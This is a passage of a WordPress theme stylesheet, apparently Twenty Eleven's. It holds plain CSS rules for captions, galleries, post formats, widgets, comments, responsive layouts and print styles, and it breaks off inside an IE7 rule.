.wp-caption .wp-caption-text, .gallery-caption { color: #666; font-family: Georgia, serif; font-size: 12px; } .wp-caption .wp-caption-text { margin-bottom: 0.6em; padding: 10px 0 5px 40px; position: relative; } .wp-caption .wp-caption-text:before { color: #666; content: '\2014'; font-size: 14px; font-style: normal; font-weight: bold; margin-right: 5px; position: absolute; left: 10px; top: 7px; } #content .gallery { margin: 0 auto 1.625em; } #content .gallery a img { border: none; } img#wpstats { display: block; margin: 0 auto 1.625em; } #content .gallery-columns-4 .gallery-item { width: 23%; padding-right: 2%; } #content .gallery-columns-4 .gallery-item img { width: 100%; height: auto; } /* Image borders */ img[class*="align"], img[class*="wp-image-"], #content .gallery .gallery-icon img {/* Add fancy borders to all WordPress-added images but not things like badges and icons and the like */ border: 1px solid #ddd; padding: 6px; } .wp-caption img { border-color: #eee; } a:focus img[class*="align"], a:hover img[class*="align"], a:active img[class*="align"], a:focus img[class*="wp-image-"], a:hover img[class*="wp-image-"], a:active img[class*="wp-image-"], #content .gallery .gallery-icon a:focus img, #content .gallery .gallery-icon a:hover img, #content .gallery .gallery-icon a:active img {/* Add some useful style to those fancy borders for linked images ... */ background: #eee; border-color: #bbb; } .wp-caption a:focus img, .wp-caption a:active img, .wp-caption a:hover img {/* ... including captioned images! */ background: #fff; border-color: #ddd; } /* Make sure videos and embeds fit their containers */ embed, iframe, object { max-width: 100%; } .entry-content .twitter-tweet-rendered { max-width: 100% !important; /* Override the Twitter embed fixed width */ } /* Password Protected Posts */ .post-password-required .entry-header .comments-link { margin: 1.625em 0 0; } .post-password-required input[type=password] { margin: 0.8125em 0; } .post-password-required input[type=password]:focus { background: #f7f7f7; } /* Author Info */ #author-info { font-size: 12px; overflow: hidden; } .singular #author-info { background: #f9f9f9; border-top: 1px solid #ddd; border-bottom: 1px solid #ddd; margin: 2.2em -35.6% 0 -35.4%; padding: 20px 35.4%; } .archive #author-info { border-bottom: 1px solid #ddd; margin: 0 0 2.2em; padding: 0 0 2.2em; } #author-avatar { float: left; margin-right: -78px; } #author-avatar img { background: #fff; -moz-border-radius: 3px; border-radius: 3px; -webkit-box-shadow: 0 1px 2px #bbb; -moz-box-shadow: 0 1px 2px #bbb; box-shadow: 0 1px 2px #bbb; padding: 3px; } #author-description { float: left; margin-left: 108px; } #author-description h2 { color: #000; font-size: 15px; font-weight: bold; margin: 5px 0 10px; } /* Comments link */ .entry-header .comments-link a { background: #eee url(images/comment-bubble.png) no-repeat; color: #666; font-size: 13px; font-weight: normal; line-height: 35px; overflow: hidden; padding: 0 0 0; position: absolute; top: 1.5em; right: 0; text-align: center; text-decoration: none; width: 43px; height: 36px; } .entry-header .comments-link a:hover, .entry-header .comments-link a:focus, .entry-header .comments-link a:active { background-color: #1982d1; color: #fff; color: rgba(255,255,255,0.8); } .entry-header .comments-link .leave-reply { visibility: hidden; } /* Post Formats Headings To hide the headings, display: none the ".entry-header .entry-format" selector, and remove the padding rules below. */ .entry-header .entry-format { color: #666; font-size: 10px; font-weight: 500; letter-spacing: 0.1em; line-height: 2.6em; position: absolute; text-transform: uppercase; top: -5px; } .entry-header hgroup .entry-title { padding-top: 15px; } article.format-aside .entry-content, article.format-link .entry-content, article.format-status .entry-content { padding: 20px 0 0; } article.format-status .entry-content { min-height: 65px; } .recent-posts .entry-header .entry-format { display: none; } .recent-posts .entry-header hgroup .entry-title { padding-top: 0; } /* Singular content styles for Posts and Pages */ .singular .hentry { border-bottom: none; padding: 4.875em 0 0; position: relative; } .singular.page .hentry { padding: 3.5em 0 0; } .singular .entry-title { color: #000; font-size: 36px; font-weight: bold; line-height: 48px; } .singular .entry-title, .singular .entry-header .entry-meta { padding-right: 0; } .singular .entry-header .entry-meta { position: absolute; top: 0; left: 0; } blockquote.pull { font-size: 21px; font-weight: bold; line-height: 1.6125em; margin: 0 0 1.625em; text-align: center; } .singular blockquote.pull { margin: 0 -22.25% 1.625em; } .pull.alignleft { margin: 0 1.625em 0 0; text-align: right; } .singular .pull.alignleft { margin: 0 1.625em 0 -22.25%; } .pull.alignright { margin: 0 0 0 1.625em; text-align: left; } blockquote.pull.alignleft, blockquote.pull.alignright { width: 33%; } .singular .pull.alignright { margin: 0 -22.25% 0 1.625em; } .singular blockquote.pull.alignleft, .singular blockquote.pull.alignright { width: 33%; } .singular .entry-meta .edit-link a { bottom: auto; left: 50px; position: absolute; right: auto; top: 80px; } /* =Aside ----------------------------------------------- */ .format-aside .entry-title, .format-aside .entry-header .comments-link { display: none; } .singular .format-aside .entry-title { display: block; } .format-aside .entry-content { padding: 0; } .singular .format-aside .entry-content { padding: 1.625em 0 0; } /* =Link ----------------------------------------------- */ .format-link .entry-title, .format-link .entry-header .comments-link { display: none; } .singular .format-link .entry-title { display: block; } .format-link .entry-content { padding: 0; } .singular .format-link .entry-content { padding: 1.625em 0 0; } /* =Gallery ----------------------------------------------- */ .format-gallery .gallery-thumb { float: left; display: block; margin: .375em 1.625em 0 0; max-width: 100%; } /* =Status ----------------------------------------------- */ .format-status .entry-title, .format-status .entry-header .comments-link { display: none; } .singular .format-status .entry-title { display: block; } .format-status .entry-content { padding: 0; } .singular .format-status .entry-content { padding: 1.625em 0 0; } .format-status img.avatar { -moz-border-radius: 3px; border-radius: 3px; -webkit-box-shadow: 0 1px 2px #ccc; -moz-box-shadow: 0 1px 2px #ccc; box-shadow: 0 1px 2px #ccc; float: left; margin: 4px 10px 2px 0; padding: 0; } /* =Quote ----------------------------------------------- */ .format-quote blockquote { color: #555; font-size: 17px; margin: 0; } /* =Image ----------------------------------------------- */ .indexed.format-image .entry-header { min-height: 61px; /* Prevent the comment icon from colliding with the image when there is no title */ } .indexed.format-image .entry-content { padding-top: 0.5em; } .indexed.format-image .entry-content p { margin: 1em 0; } .indexed.format-image .entry-content p:first-child, .indexed.format-image .entry-content p:first-child a, .indexed.format-image .entry-content p:first-child img { display: block; margin: 0; } .indexed.format-image .entry-content .wp-caption .wp-caption-text { margin: 0; padding-bottom: 1em; } .indexed.format-image footer.entry-meta { background: #ddd; overflow: hidden; padding: 4%; max-width: 96%; } .indexed.format-image div.entry-meta { display: inline-block; float: left; width: 35%; } .indexed.format-image div.entry-meta + div.entry-meta { float: none; width: 65%; } .indexed.format-image .entry-meta span.cat-links, .indexed.format-image .entry-meta span.tag-links, .indexed.format-image .entry-meta span.comments-link { display: block; } .indexed.format-image footer.entry-meta a { color: #444; } .indexed.format-image footer.entry-meta a:hover { color: #fff; } #content .indexed.format-image img { border: none; max-width: 100%; padding: 0; } .indexed.format-image .wp-caption { background: #111; margin-bottom: 0; max-width: 96%; padding: 2% 2% 0; } .indexed.format-image .wp-caption .wp-caption-text { color: #ddd; } .indexed.format-image .wp-caption .wp-caption-text:before { color: #444; } .indexed.format-image a:hover img { opacity: 0.8; } /* =error404 ----------------------------------------------- */ .error404 #main #searchform { background: #f9f9f9; border: 1px solid #ddd; border-width: 1px 0; margin: 0 -8.9% 1.625em; overflow: hidden; padding: 1.625em 8.9%; } .error404 #main #s { width: 95%; } .error404 #main .widget { clear: none; float: left; margin-right: 3.7%; width: 30.85%; } .error404 #main .widget_archive { margin-right: 0; } .error404 #main .widget_tag_cloud { float: none; margin-right: 0; width: 100%; } .error404 .widgettitle { font-size: 10px; letter-spacing: 0.1em; line-height: 2.6em; text-transform: uppercase; } /* =Showcase ----------------------------------------------- */ h1.showcase-heading { color: #666; font-size: 10px; font-weight: 500; letter-spacing: 0.1em; line-height: 2.6em; text-transform: uppercase; } /* Intro */ article.intro { background: #f9f9f9; border-bottom: none; margin: -1.855em -8.9% 1.625em; padding: 0 8.9%; } article.intro .entry-title { display: none; } article.intro .entry-content { color: #111; font-size: 16px; padding: 1.625em 0 0.625em; } article.intro .edit-link a { background: #aaa; -moz-border-radius: 3px; border-radius: 3px; color: #fff; font-size: 12px; padding: 0 8px; position: absolute; top: 30px; right: 20px; text-decoration: none; } article.intro .edit-link a:hover, article.intro .edit-link a:focus, article.intro .edit-link a:active { background: #777; } /* Featured post */ section.featured-post { float: left; margin: -1.625em -8.9% 1.625em; padding: 1.625em 8.9% 0; position: relative; width: 100%; } section.featured-post .hentry { border: none; color: #666; margin: 0; } section.featured-post .entry-meta { clip: rect(1px 1px 1px 1px); /* IE6, IE7 */ clip: rect(1px, 1px, 1px, 1px); position: absolute !important; } /* Small featured post */ section.featured-post .attachment-small-feature { float: right; height: auto; margin: 0 -8.9% 1.625em 0; max-width: 59%; position: relative; right: -15px; } section.featured-post.small { padding-top: 0; } section.featured-post .attachment-small-feature:hover, section.featured-post .attachment-small-feature:focus, section.featured-post .attachment-small-feature:active { opacity: .8; } article.feature-image.small { float: left; margin: 0 0 1.625em; width: 45%; } article.feature-image.small .entry-title { line-height: 1.2em; } article.feature-image.small .entry-summary { color: #555; font-size: 13px; } article.feature-image.small .entry-summary p a { background: #222; color: #eee; display: block; left: -23.8%; padding: 9px 26px 9px 85px; position: relative; text-decoration: none; top: 20px; width: 180px; z-index: 1; } article.feature-image.small .entry-summary p a:hover { background: #1982d1; color: #eee; color: rgba(255,255,255,0.8); } /* Large featured post */ section.feature-image.large { border: none; max-height: 288px; padding: 0; width: 100%; } section.feature-image.large .showcase-heading { display: none; } section.feature-image.large .hentry { border-bottom: none; left: 9%; margin: 1.625em 9% 0 0; position: absolute; top: 0; } article.feature-image.large .entry-title a { background: #222; background: rgba(0,0,0,0.8); -moz-border-radius: 3px; border-radius: 3px; color: #fff; display: inline-block; font-weight: 300; padding: .2em 20px; } section.feature-image.large:hover .entry-title a, section.feature-image.large .entry-title:hover a { background: #eee; background: rgba(255,255,255,0.8); color: #222; } article.feature-image.large .entry-summary { display: none; } section.feature-image.large img { display: block; height: auto; max-width: 117.9%; padding: 0 0 6px; } /* Featured Slider */ .featured-posts { border-bottom: 1px solid #ddd; display: block; height: 328px; margin: 1.625em -8.9% 20px; max-width: 1000px; padding: 0; position: relative; overflow: hidden; } .featured-posts .showcase-heading { padding-left: 8.9%; } .featured-posts section.featured-post { background: #fff; height: 288px; left: 0; margin: 0; position: absolute; top: 30px; width: auto; } .featured-posts section.featured-post.large { max-width: 100%; overflow: hidden; } .featured-posts section.featured-post { -webkit-transition-duration: 200ms; -webkit-transition-property: opacity, visibility; -webkit-transition-timing-function: ease; -moz-transition-duration: 200ms; -moz-transition-property: opacity, visibility; -moz-transition-timing-function: ease; } .featured-posts section.featured-post { opacity: 0; visibility: hidden; } .featured-posts #featured-post-1 { opacity: 1; visibility: visible; } .featured-post .feature-text:after, .featured-post .feature-image.small:after { content: ' '; background: -moz-linear-gradient(top, rgba(255,255,255,0) 0%, rgba(255,255,255,1) 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(255,255,255,0)), color-stop(100%,rgba(255,255,255,1))); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* Opera11.10+ */ background: -ms-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* IE10+ */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00ffffff', endColorstr='#ffffff',GradientType=0 ); /* IE6-9 */ background: linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* W3C */ width: 100%; height: 45px; position: absolute; top: 230px; } .featured-post .feature-image.small:after { top: 253px; } #content .feature-slider { top: 5px; right: 8.9%; overflow: visible; position: absolute; } .feature-slider ul { list-style-type: none; margin: 0; } .feature-slider li { float: left; margin: 0 6px; } .feature-slider a { background: #3c3c3c; background: rgba(60,60,60,0.9); -moz-border-radius: 12px; border-radius: 12px; -webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5); -moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5); box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5); display: block; width: 14px; height: 14px; } .feature-slider a.active { background: #1982d1; -webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8); -moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8); box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8); cursor: default; opacity: 0.5; } /* Recent Posts */ section.recent-posts { padding: 0 0 1.625em; } section.recent-posts .hentry { border: none; margin: 0; } section.recent-posts .other-recent-posts { border-bottom: 1px solid #ddd; list-style: none; margin: 0; } section.recent-posts .other-recent-posts li { padding: 0.3125em 0; position: relative; } section.recent-posts .other-recent-posts .entry-title { border-top: 1px solid #ddd; font-size: 17px; } section.recent-posts .other-recent-posts a[rel="bookmark"] { color: #373737; float: left; max-width: 84%; } section.recent-posts .other-recent-posts a[rel="bookmark"]:after { content: '-'; color: transparent; font-size: 11px; } section.recent-posts .other-recent-posts a[rel="bookmark"]:hover { } section.recent-posts .other-recent-posts .comments-link a, section.recent-posts .other-recent-posts .comments-link > span { border-bottom: 2px solid #999; bottom: -2px; color: #444; display: block; font-size: 10px; font-weight: 500; line-height: 2.76333em; padding: 0.3125em 0 0.3125em 1em; position: absolute; right: 0; text-align: right; text-transform: uppercase; z-index: 1; } section.recent-posts .other-recent-posts .comments-link > span { border-color: #bbb; color: #888; } section.recent-posts .other-recent-posts .comments-link a:hover { color: #1982d1; border-color: #1982d1; } section.recent-posts .other-recent-posts li:after { clear: both; content: '.'; display: block; height: 0; visibility: hidden; } /* =Attachments ----------------------------------------------- */ .image-attachment div.attachment { background: #f9f9f9; border: 1px solid #ddd; border-width: 1px 0; margin: 0 -8.9% 1.625em; overflow: hidden; padding: 1.625em 1.625em 0; text-align: center; } .image-attachment div.attachment img { display: block; height: auto; margin: 0 auto 1.625em; max-width: 100%; } .image-attachment div.attachment a img { border-color: #f9f9f9; } .image-attachment div.attachment a:focus img, .image-attachment div.attachment a:hover img, .image-attachment div.attachment a:active img { border-color: #ddd; background: #fff; } .image-attachment .entry-caption p { font-size: 10px; letter-spacing: 0.1em; line-height: 2.6em; margin: 0 0 2.6em; text-transform: uppercase; } /* =Navigation -------------------------------------------------------------- */ #content nav { clear: both; overflow: hidden; padding: 0 0 1.625em; } #content nav a { font-size: 12px; font-weight: bold; line-height: 2.2em; } #nav-above { padding: 0 0 1.625em; } #nav-above { display: none; } .paged #nav-above { display: block; } .nav-previous { float: left; width: 50%; } .nav-next { float: right; text-align: right; width: 50%; } #content nav .meta-nav { font-weight: normal; } /* Singular navigation */ #nav-single { float: right; position: relative; top: -0.3em; text-align: right; z-index: 1; } #nav-single .nav-previous, #nav-single .nav-next { width: auto; } #nav-single .nav-next { padding-left: .5em; } #nav-single .nav-previous { padding-right: .5em; } /* =Widgets ----------------------------------------------- */ .widget-area { font-size: 12px; } .widget { word-wrap: break-word; -webkit-hyphens: auto; -moz-hyphens: auto; hyphens: auto; clear: both; margin: 0 0 2.2em; } .widget-title { color: #666; font-size: 10px; font-weight: 500; letter-spacing: 0.1em; line-height: 2.6em; text-transform: uppercase; } .widget ul { font-size: 15px; margin: 0; } .widget ul ul { margin-left: 1.5em; } .widget ul li { color: #777; font-size: 13px; } .widget a { font-weight: bold; text-decoration: none; } .widget a:hover, .widget a:focus, .widget a:active { text-decoration: underline; } /* Search Widget */ .widget_search form { margin: 0 0 1.625em; } .widget_search #s { width: 77%; } .widget_search #searchsubmit { background: #ddd; border: 1px solid #ccc; -webkit-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09); -moz-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09); box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09); color: #888; font-size: 13px; line-height: 25px; position: relative; top: -2px; } .widget_search #searchsubmit:active { background: #1982d1; border-color: #0861a5; -webkit-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1); -moz-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1); box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1); color: #bfddf3; } /* Ephemera Widget */ section.ephemera ol, .widget_twentyeleven_ephemera ol { list-style: square; margin: 5px 0 0; } .widget_twentyeleven_ephemera .widget-entry-title { font-size: 15px; font-weight: bold; padding: 0; } .widget_twentyeleven_ephemera .comments-link a, .widget_twentyeleven_ephemera .comments-link > span { color: #666; display: block; font-size: 10px; font-weight: 500; line-height: 2.76333em; text-transform: uppercase; } section.ephemera .entry-title .comments-link a:hover, .widget_twentyeleven_ephemera .entry-title .comments-link a:hover { } section.ephemera .entry-title a span { color: #29628d; } /* Twitter */ .widget_twitter li { list-style-type: none; margin-bottom: 14px; } .widget_twitter .timesince { display: block; font-size: 11px; margin-right: -10px; text-align: right; } /* Widget Image */ .widget_image img { border: 0; padding: 0; height: auto; max-width: 100%; } /* Calendar Widget */ .widget_calendar #wp-calendar { color: #555; width: 95%; text-align: center; } .widget_calendar #wp-calendar caption, .widget_calendar #wp-calendar td, .widget_calendar #wp-calendar th { text-align: center; } .widget_calendar #wp-calendar caption { font-size: 11px; font-weight: 500; padding: 5px 0 3px 0; text-transform: uppercase; } .widget_calendar #wp-calendar th { background: #f4f4f4; border-top: 1px solid #ccc; border-bottom: 1px solid #ccc; font-weight: bold; } .widget_calendar #wp-calendar tfoot td { background: #f4f4f4; border-top: 1px solid #ccc; border-bottom: 1px solid #ccc; } /* =Comments ----------------------------------------------- */ #comments-title { color: #666; font-size: 10px; font-weight: 500; line-height: 2.6em; padding: 0 0 2.6em; text-transform: uppercase; } .nopassword, .nocomments { color: #aaa; font-size: 24px; font-weight: 100; margin: 26px 0; text-align: center; } .commentlist { list-style: none; margin: 0 auto; width: 68.9%; } .content .commentlist, .page-template-sidebar-page-php .commentlist { width: 100%; /* reset the width for the one-column and sidebar page layout */ } .commentlist > li.comment { background: #f6f6f6; border: 1px solid #ddd; -moz-border-radius: 3px; border-radius: 3px; margin: 0 0 1.625em; padding: 1.625em; position: relative; } .commentlist .pingback { margin: 0 0 1.625em; padding: 0 1.625em; } .commentlist .children { list-style: none; margin: 0; } .commentlist .children li.comment { background: #fff; border-left: 1px solid #ddd; -moz-border-radius: 0 3px 3px 0; border-radius: 0 3px 3px 0; margin: 1.625em 0 0; padding: 1.625em; position: relative; } .commentlist .children li.comment .fn { display: block; } .comment-meta .fn { font-style: normal; } .comment-meta { color: #666; font-size: 12px; line-height: 2.2em; } .commentlist .children li.comment .comment-meta { line-height: 1.625em; margin-left: 50px; } .commentlist .children li.comment .comment-content { margin: 1.625em 0 0; word-wrap: break-word; -webkit-hyphens: auto; -moz-hyphens: auto; hyphens: auto; } .comment-meta a { font-weight: bold; } .comment-meta a:focus, .comment-meta a:active, .comment-meta a:hover { } .commentlist .avatar { -moz-border-radius: 3px; border-radius: 3px; -webkit-box-shadow: 0 1px 2px #ccc; -moz-box-shadow: 0 1px 2px #ccc; box-shadow: 0 1px 2px #ccc; left: -102px; padding: 0; position: absolute; top: 0; } .commentlist > li:before { content: url(images/comment-arrow.png); left: -21px; position: absolute; } .commentlist > li.pingback:before { content: ''; } .commentlist .children .avatar { background: none; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; left: 2.2em; padding: 0; top: 2.2em; } a.comment-reply-link { background: #eee; -moz-border-radius: 3px; border-radius: 3px; color: #666; display: inline-block; font-size: 12px; padding: 0 8px; text-decoration: none; } a.comment-reply-link:hover, a.comment-reply-link:focus, a.comment-reply-link:active { background: #888; color: #fff; } a.comment-reply-link > span { display: inline-block; position: relative; top: -1px; } /* Post author highlighting */ .commentlist > li.bypostauthor { background: #ddd; border-color: #d3d3d3; } .commentlist > li.bypostauthor .comment-meta { color: #575757; } .commentlist > li.bypostauthor .comment-meta a:focus, .commentlist > li.bypostauthor .comment-meta a:active, .commentlist > li.bypostauthor .comment-meta a:hover { } .commentlist > li.bypostauthor:before { content: url(images/comment-arrow-bypostauthor.png); } /* Post Author threaded comments */ .commentlist .children > li.bypostauthor { background: #ddd; border-color: #d3d3d3; } /* sidebar-page.php comments */ /* Make sure we have room for our comment avatars */ .page-template-sidebar-page-php .commentlist > li.comment, .page-template-sidebar-page-php.commentlist .pingback { margin-left: 102px; width: auto; } /* And a full-width comment form */ .page-template-sidebar-page-php #respond { width: auto; } /* Comment Form */ #respond { background: #ddd; border: 1px solid #d3d3d3; -moz-border-radius: 3px; border-radius: 3px; margin: 0 auto 1.625em; padding: 1.625em; position: relative; width: 68.9%; } #respond input[type="text"], #respond textarea { background: #fff; border: 4px solid #eee; -moz-border-radius: 5px; border-radius: 5px; -webkit-box-shadow: inset 0 1px 3px rgba(204,204,204,0.95); -moz-box-shadow: inset 0 1px 3px rgba(204,204,204,0.95); box-shadow: inset 0 1px 3px rgba(204,204,204,0.95); position: relative; padding: 10px; text-indent: 80px; } #respond .comment-form-author, #respond .comment-form-email, #respond .comment-form-url, #respond .comment-form-comment { position: relative; } #respond .comment-form-author label, #respond .comment-form-email label, #respond .comment-form-url label, #respond .comment-form-comment label { background: #eee; -webkit-box-shadow: 1px 2px 2px rgba(204,204,204,0.8); -moz-box-shadow: 1px 2px 2px rgba(204,204,204,0.8); box-shadow: 1px 2px 2px rgba(204,204,204,0.8); color: #555; display: inline-block; font-size: 13px; left: 4px; min-width: 60px; padding: 4px 10px; position: relative; top: 40px; z-index: 1; } #respond input[type="text"]:focus, #respond textarea:focus { text-indent: 0; z-index: 1; } #respond textarea { resize: vertical; width: 95%; } #respond .comment-form-author .required, #respond .comment-form-email .required { color: #bd3500; font-size: 22px; font-weight: bold; left: 75%; position: absolute; z-index: 1; } #respond .comment-notes, #respond .logged-in-as { font-size: 13px; } #respond p { margin: 10px 0; } #respond .form-submit { float: right; margin: -20px 0 10px; } #respond input#submit { background: #222; border: none; -moz-border-radius: 3px; border-radius: 3px; -webkit-box-shadow: 0px 1px 2px rgba(0,0,0,0.3); -moz-box-shadow: 0px 1px 2px rgba(0,0,0,0.3); box-shadow: 0px 1px 2px rgba(0,0,0,0.3); color: #eee; cursor: pointer; font-size: 15px; margin: 20px 0; padding: 5px 42px 5px 22px; position: relative; left: 30px; text-shadow: 0 -1px 0 rgba(0,0,0,0.3); } #respond input#submit:active { background: #1982d1; color: #bfddf3; } #respond #cancel-comment-reply-link { color: #666; margin-left: 10px; text-decoration: none; } #respond .logged-in-as a:hover, #respond #cancel-comment-reply-link:hover { text-decoration: underline; } .commentlist #respond { margin: 1.625em 0 0; width: auto; } #reply-title { color: #373737; font-size: 24px; font-weight: bold; line-height: 30px; } #cancel-comment-reply-link { color: #888; display: block; font-size: 10px; font-weight: normal; line-height: 2.2em; letter-spacing: 0.05em; position: absolute; right: 1.625em; text-decoration: none; text-transform: uppercase; top: 1.1em; } #cancel-comment-reply-link:focus, #cancel-comment-reply-link:active, #cancel-comment-reply-link:hover { color: #ff4b33; } #respond label { line-height: 2.2em; } #respond input[type=text] { display: block; height: 24px; width: 75%; } #respond p { font-size: 12px; } p.comment-form-comment { margin: 0; } .form-allowed-tags { display: none; } /* =Footer ----------------------------------------------- */ #colophon { clear: both; } #supplementary { border-top: 1px solid #ddd; padding: 1.625em 7.6%; overflow: hidden; } /* Two Footer Widget Areas */ #supplementary.two .widget-area { float: left; margin-right: 3.7%; width: 48.1%; } #supplementary.two .widget-area + .widget-area { margin-right: 0; } /* Three Footer Widget Areas */ #supplementary.three .widget-area { float: left; margin-right: 3.7%; width: 30.85%; } #supplementary.three .widget-area + .widget-area + .widget-area { margin-right: 0; } /* Site Generator Line */ #site-generator { background: #f9f9f9; border-top: 1px solid #ddd; color: #666; font-size: 12px; line-height: 2.2em; padding: 2.2em 0.5em; text-align: center; } #site-generator a { color: #555; font-weight: bold; } /* =Responsive Structure ----------------------------------------------- */ @media (max-width: 800px) { /* Simplify the basic layout */ #main #content { margin: 0 7.6%; width: auto; } #nav-below { border-bottom: 1px solid #ddd; margin-bottom: 1.625em; } #main #secondary { float: none; margin: 0 7.6%; width: auto; } /* Simplify the showcase template */ .page-template-showcase-php .featured-posts { min-height: 280px; } .featured-posts section.featured-post { height: auto; } .page-template-showcase-php section.recent-posts { float: none; margin: 0; width: 100%; } .page-template-showcase-php #main .widget-area { float: none; margin: 0; width: auto; } .page-template-showcase-php .other-recent-posts { border-bottom: 1px solid #ddd; } /* Simplify the showcase template when small feature */ section.featured-post .attachment-small-feature, .one-column section.featured-post .attachment-small-feature { border: none; display: block; float: left; height: auto; margin: 0.625em auto 1.025em; max-width: 30%; position: static; } article.feature-image.small { float: right; margin: 0 0 1.625em; width: 64%; } .one-column article.feature-image.small .entry-summary { height: auto; } article.feature-image.small .entry-summary p a { left: 0; padding-left: 20px; padding-right: 20px; width: auto; } /* Remove the margin on singular articles */ .singular .entry-header, .singular .entry-content, .singular footer.entry-meta, .singular #comments-title { width: 100%; } /* Simplify the pullquotes and pull styles */ .singular blockquote.pull { margin: 0 0 1.625em; } .singular .pull.alignleft { margin: 0 1.625em 0 0; } .singular .pull.alignright { margin: 0 0 0 1.625em; } .singular .entry-meta .edit-link a { left: 0; position: absolute; top: 40px; } .singular #author-info { margin: 2.2em -8.8% 0; padding: 20px 8.8%; } /* Make sure we have room for our comment avatars */ .commentlist { width: 100%; } .commentlist > li.comment, .commentlist .pingback { margin-left: 102px; width: auto; } /* And a full-width comment form */ #respond { width: auto; } /* No need to float footer widgets at this size */ #colophon #supplementary .widget-area { float: none; margin-right: 0; width: auto; } /* No need to float 404 widgets at this size */ .error404 #main .widget { float: none; margin-right: 0; width: auto; } } @media (max-width: 650px) { /* @media (max-width: 650px) Reduce font-sizes for better readability on smaller devices */ body, input, textarea { font-size: 13px; } #site-title a { font-size: 24px; } #site-description { font-size: 12px; } #access ul { font-size: 12px; } article.intro .entry-content { font-size: 12px; } .entry-title { font-size: 21px; } .featured-post .entry-title { font-size: 14px; } .singular .entry-title { font-size: 28px; } .entry-meta { font-size: 12px; } blockquote { margin: 0; } blockquote.pull { font-size: 17px; } /* Reposition the site title and description slightly */ #site-title { padding: 5.30625em 0 0; } #site-title, #site-description { margin-right: 0; } /* Make sure the logo and search form don't collide */ #branding #searchform { top: 1.625em !important; } /* Floated content doesn't work well at this size */ .alignleft, .alignright { display: block; float: none; margin-left: 0; margin-right: 0; } /* Make sure the post-post navigation doesn't collide with anything */ #nav-single { display: block; position: static; } .singular .hentry { padding: 1.625em 0 0; } .singular.page .hentry { padding: 1.625em 0 0; } /* Talking avatars take up too much room at this size */ .commentlist > li.comment, .commentlist > li.pingback { margin-left: 0 !important; } .commentlist .avatar { background: transparent; display: block; padding: 0; position: static; } .commentlist .children .avatar { background: none; left: 2.2em; padding: 0; position: absolute; top: 2.2em; } /* Use the available space in the smaller comment form */ #respond input[type="text"] { width: 95%; } #respond .comment-form-author .required, #respond .comment-form-email .required { left: 95%; } #content .gallery-columns-3 .gallery-item { width: 31%; padding-right: 2%; } #content .gallery-columns-3 .gallery-item img { width: 100%; height: auto; } } @media (max-width: 450px) { #content .gallery-columns-2 .gallery-item { width: 45%; padding-right: 4%; } #content .gallery-columns-2 .gallery-item img { width: 100%; height: auto; } } @media only screen and (min-device-width: 320px) and (max-device-width: 480px) { body { padding: 0; } #page { margin-top: 0; } #branding { border-top: none; } } /* =Print ----------------------------------------------- */ @media print { body { background: none !important; font-size: 10pt; } footer.entry-meta a[rel=bookmark]:link:after, footer.entry-meta a[rel=bookmark]:visited:after { content: " [" attr(href) "] "; /* Show URLs */ } #page { clear: both !important; display: block !important; float: none !important; max-width: 100%; position: relative !important; } #branding { border-top: none !important; padding: 0; } #branding hgroup { margin: 0; } #site-title a { font-size: 21pt; } #site-description { font-size: 10pt; } #branding #searchform { display: none; } #branding img { display: none; } #access { display: none; } #main { border-top: none; box-shadow: none; } #primary { float: left; margin: 0; width: 100%; } #content { margin: 0; width: auto; } .singular #content { margin: 0; width: 100%; } .singular .entry-header .entry-meta { position: static; } .entry-meta .edit-link a { display: none; } #content nav { display: none; } .singular .entry-header, .singular .entry-content, .singular footer.entry-meta, .singular #comments-title { margin: 0; width: 100%; } .singular .hentry { padding: 0; } .entry-title, .singular .entry-title { font-size: 21pt; } .entry-meta { font-size: 10pt; } .entry-header .comments-link { display: none; } .page-link { display: none; } .singular #author-info { background: none; border-bottom: none; border-top: none; margin: 2.2em 0 0; padding: 0; } #respond { display: none; } .widget-area { display: none; } #colophon { display: none; } /* Comments */ .commentlist > li.comment { background: none; border: 1px solid #ddd; -moz-border-radius: 3px 3px 3px 3px; border-radius: 3px 3px 3px 3px; margin: 0 auto 1.625em; padding: 1.625em; position: relative; width: auto; } .commentlist .avatar { height: 39px; left: 2.2em; top: 2.2em; width: 39px; } .commentlist li.comment .comment-meta { line-height: 1.625em; margin-left: 50px; } .commentlist li.comment .fn { display: block; } .commentlist li.comment .comment-content { margin: 1.625em 0 0; } .commentlist .comment-edit-link { display: none; } .commentlist > li::before, .commentlist > li.bypostauthor::before { content: ''; } .commentlist .reply { display: none; } /* Post author highlighting */ .commentlist > li.bypostauthor { color: #444; } .commentlist > li.bypostauthor .comment-meta { color: #666; } .commentlist > li.bypostauthor:before { content: none; } /* Post Author threaded comments */ .commentlist .children > li.bypostauthor { background: #fff; border-color: #ddd; } .commentlist .children > li.bypostauthor > article, .commentlist .children > li.bypostauthor > article .comment-meta { color: #666; } } /* =IE7 ----------------------------------------------- */ #ie7 article.intro { margin-left: -7.6%; margin-right: -7.6%; padding-left: -7.6%; padding-right: -7.6%; max-width: 1000px; } #ie7 section.featured-post { margin-left: -7.6%; margin-right: 